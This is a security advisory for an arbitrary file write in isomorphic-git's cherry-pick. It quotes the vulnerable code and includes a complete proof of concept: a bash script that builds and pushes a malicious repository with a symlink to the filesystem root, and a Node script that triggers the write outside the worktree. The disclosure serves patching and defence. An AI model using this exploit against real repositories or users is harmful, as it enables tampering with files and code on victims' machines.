isomorphic-git: Arbitrary File Write via Symlink
Package Affected versions Patched versions Description Summary There is an arbitrary file write vulnerability in isomorphic-git (verified on v1.38.7).
When applying tree changes during git cherry-pick
Package
isomorphic-git (npm)Affected versions
< 1.38.8Patched versions
1.38.8Description
Summary
There is an arbitrary file write vulnerability in isomorphic-git (verified on v1.38.7). When applying tree changes during git cherry-pick, the helper applyTreeChanges materializes files by joining the worktree root with the entry path and writing the blob contents, but it never checks whether any leading path component is a symbolic link. An attacker who can cause a victim repository to contain a tracked symlink such as link -> / can later supply a cherry-pick tree containing link/tmp/<file>; isomorphic-git follows the symlink and writes the file outside the worktree. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.
Details
The vulnerable logic is in applyTreeChanges at src/utils/walkerToTreeEntryMap.js:260-295. For every changed blob it builds the on-disk path and writes it directly:
// src/utils/walkerToTreeEntryMap.js:260-295
// apply the changes to work dir
await acquireLock({ fs, gitdir, dirRemoved, ops }, async () => {
for (const op of ops) {
const currentFilepath = join(dir, op.filepath)
switch (op.method) {
// ...
case 'write':
// only writes if file is not in the removedDirs
if (
!dirRemoved.some(removedDir =>
currentFilepath.startsWith(removedDir)
)
) {
const { object } = await _readObject({
fs,
cache: {},
gitdir,
oid: op.oid,
})
// just like checkout, since mode only applicable to create, not update, delete first
if (await fs.exists(currentFilepath)) {
await fs.rm(currentFilepath)
}
await fs.write(currentFilepath, object) // only handles regular files for now
}
break
}
}
})
join(dir, op.filepath) produces a path such as /victim/link/tmp/isomorphic-git-poc-01. When link is a tracked symlink to /, the subsequent fs.write(currentFilepath, object) follows the symlink and writes /tmp/isomorphic-git-poc-01. No call is made to the leading-path symlink guard that the main checkout code uses.
The main checkout routine protects the exact same operation with assertNoSymlinkInLeadingPath (src/commands/checkout.js:30-43):
// src/commands/checkout.js:30-43
async function assertNoSymlinkInLeadingPath(fs, dir, fullpath) {
const parts = fullpath.split('/')
parts.pop() // the final segment is the entry being written, not a leading dir
let current = dir
for (const part of parts) {
if (part === '' || part === '.') continue
current = `${current}/${part}`
const stats = await fs.lstat(current)
// lstat returns null when the path doesn't exist yet (nothing to traverse).
if (stats && stats.isSymbolicLink()) {
throw new UnsafeFilepathError(fullpath)
}
}
}
That guard is invoked by the regular checkout path at src/commands/checkout.js:251, :324 and :731, but it is not invoked by applyTreeChanges.
PoC
- Build/push the malicious repo:
#!/usr/bin/env bash set -euo pipefail REMOTE_URL='ssh://[email protected]:222/admin/test-repo.git' BRANCH='isomorphic-poc' TARGET_DIR='/' MARKER_NAME='isomorphic-git-poc-01' MARKER_CONTENT='pwned by isomorphic-git' BUILD_BASE='./isogit-poc' REPO_DIR="$BUILD_BASE/repo" OIDS_FILE="$(cd "$(dirname "$0")" && pwd)/poc-oids.env" export GIT_SSH_COMMAND='ssh -p 222 -o BatchMode=yes -o StrictHostKeyChecking=no' log() { echo "[+] $*" >&2; } reset_remote_branch() { local path="$1" git init "$path" -q -b main git -C "$path" commit --allow-empty -m reset -q git -C "$path" push --force "$REMOTE_URL" "main:$BRANCH" >/dev/null 2>&1 } # git_commit <repo> <tree_oid> [<parent_oid>] -> commit_oid git_commit() { local repo="$1" tree="$2" parent="${3:-}" local now tz author body_file oid now=$(date +%s) tz=$(date +%z) author="attacker <[email protected]> ${now} ${tz}" body_file=$(mktemp) { echo "tree $tree" [ -n "$parent" ] && echo "parent $parent" echo "author $author" echo "committer $author" echo echo "poc" } > "$body_file" oid=$(git -C "$repo" hash-object -w -t commit --stdin < "$body_file") rm -f "$body_file" echo -n "$oid" } main() { mkdir -p "$BUILD_BASE" local tmp_reset tmp_reset=$(mktemp -d) trap 'rm -rf "${tmp_reset:-}" "$BUILD_BASE"' EXIT reset_remote_branch "$tmp_reset" log "reset remote branch $BRANCH" rm -rf "$REPO_DIR" mkdir -p "$REPO_DIR" git init "$REPO_DIR" -q -b main ln -s "$TARGET_DIR" "$REPO_DIR/link" git -C "$REPO_DIR" add link git -C "$REPO_DIR" commit -q -m 'init symlink' local head_oid head_oid=$(git -C "$REPO_DIR" rev-parse HEAD) # Build the malicious tree: link/tmp/<marker>. local blob_oid file_tree_oid sub_tree_oid mal_tree_oid mal_commit_oid blob_oid=$(echo -n "$MARKER_CONTENT" | git -C "$REPO_DIR" hash-object -w --stdin) file_tree_oid=$(echo "100644 blob $blob_oid $MARKER_NAME" | git -C "$REPO_DIR" mktree) sub_tree_oid=$(echo "040000 tree $file_tree_oid tmp" | git -C "$REPO_DIR" mktree) mal_tree_oid=$(echo "040000 tree $sub_tree_oid link" | git -C "$REPO_DIR" mktree) mal_commit_oid=$(git_commit "$REPO_DIR" "$mal_tree_oid" "$head_oid") git -C "$REPO_DIR" update-ref refs/heads/main "$mal_commit_oid" git -C "$REPO_DIR" push --force "$REMOTE_URL" "main:$BRANCH" >/dev/null 2>&1 log "pushed malicious commit $mal_commit_oid" cat > "$OIDS_FILE" <<EOF HEAD_OID=$head_oid MAL_COMMIT_OID=$mal_commit_oid EOF } main "$@"
- Trigger the vulnerability through the SDK from a fresh clone:
const fs = require('fs')
// Install isomorphic-git v1.38.7 locally before running this PoC:
// npm install --no-save [email protected]
const { default: git } = require('isomorphic-git')
const REMOTE_URL = 'http://127.0.0.1:3000/admin/test-repo.git'
const BRANCH = 'isomorphic-poc'
const VICTIM_DIR = './victim'
const OIDS_FILE = __dirname + '/poc-oids.env'
function loadOids() {
if (!fs.existsSync(OIDS_FILE)) {
console.error(`[-] oids file not found: ${OIDS_FILE} (run ./build_repo.sh first)`)
process.exit(2)
}
const env = {}
for (const line of fs.readFileSync(OIDS_FILE, 'utf8').split('\n')) {
const m = line.match(/^([A-Z_]+)=(.*)$/)
if (m) env[m[1]] = m[2]
}
if (!env.HEAD_OID || !env.MAL_COMMIT_OID) {
console.error(`[-] oids file missing HEAD_OID or MAL_COMMIT_OID`)
process.exit(2)
}
return env
}
async function main() {
const { HEAD_OID, MAL_COMMIT_OID } = loadOids()
fs.rmSync(VICTIM_DIR, { recursive: true, force: true })
fs.mkdirSync(VICTIM_DIR, { recursive: true })
console.log(`[+] clone ${REMOTE_URL} -> ${VICTIM_DIR}`)
await git.clone({
fs,
http: require('isomorphic-git/http/node'),
dir: VICTIM_DIR,
url: REMOTE_URL,
ref: BRANCH,
singleBranch: true,
noCheckout: true,
})
console.log(`[+] checkout symlink commit ${HEAD_OID.slice(0, 8)}`)
await git.checkout({ fs, dir: VICTIM_DIR, ref: HEAD_OID })
console.log(`[+] cherryPick ${MAL_COMMIT_OID.slice(0, 8)}`)
await git.cherryPick({
fs,
dir: VICTIM_DIR,
oid: MAL_COMMIT_OID,
author: { name: 'poc', email: '[email protected]' },
committer: { name: 'poc', email: '[email protected]' },
})
console.log('[+] done')
}
main().catch(err => { console.error(err); process.exit(1) })
- Verify the arbitrary write:
$ cat /tmp/isomorphic-git-poc-01 # pwned by isomorphic-git
Impact
This leads to an arbitrary file write relative to the filesystem root (or anywhere the symlink points), enabling data tampering, code injection into interpreted files, and other follow-on impact depending on the target path.
References
- GHSA-pvh8-4vwp-j58p
- https://nvd.nist.gov/vuln/detail/CVE-2026-86017
- isomorphic-git/isomorphic-git#2377
- isomorphic-git/isomorphic-git@4664c8e
- https://github.com/isomorphic-git/isomorphic-git/releases/tag/v1.38.8
Severity
High CVSS overall score This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS). / 10CVSS v3 base metrics
Attack vector Network Attack complexity Low Privileges required Low User interaction Required Scope Unchanged Confidentiality High Integrity High Availability High CVSS v3 base metrics Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability. Attack complexity: More severe for the least complex attacks. Privileges required: More severe if no privileges are required. User interaction: More severe when no user interaction is required. Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope. Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user. Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user. Availability: More severe when the loss of impacted component availability is highest. CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:HEPSS score
Exploit Prediction Scoring System (EPSS) This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST. (42nd percentile)Weaknesses
Weakness CWE-22Improper Limitation of a Pathname to a Restricted Directory
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.CVE ID
CVE-2026-86017GHSA ID
GHSA-pvh8-4vwp-j58pSource code
isomorphic-git/isomorphic-gitCredits
-
HughLewis20 Reporter
Uh oh!
There was an error while loading. Please reload this page.
See something to contribute? Suggest improvements for this vulnerability.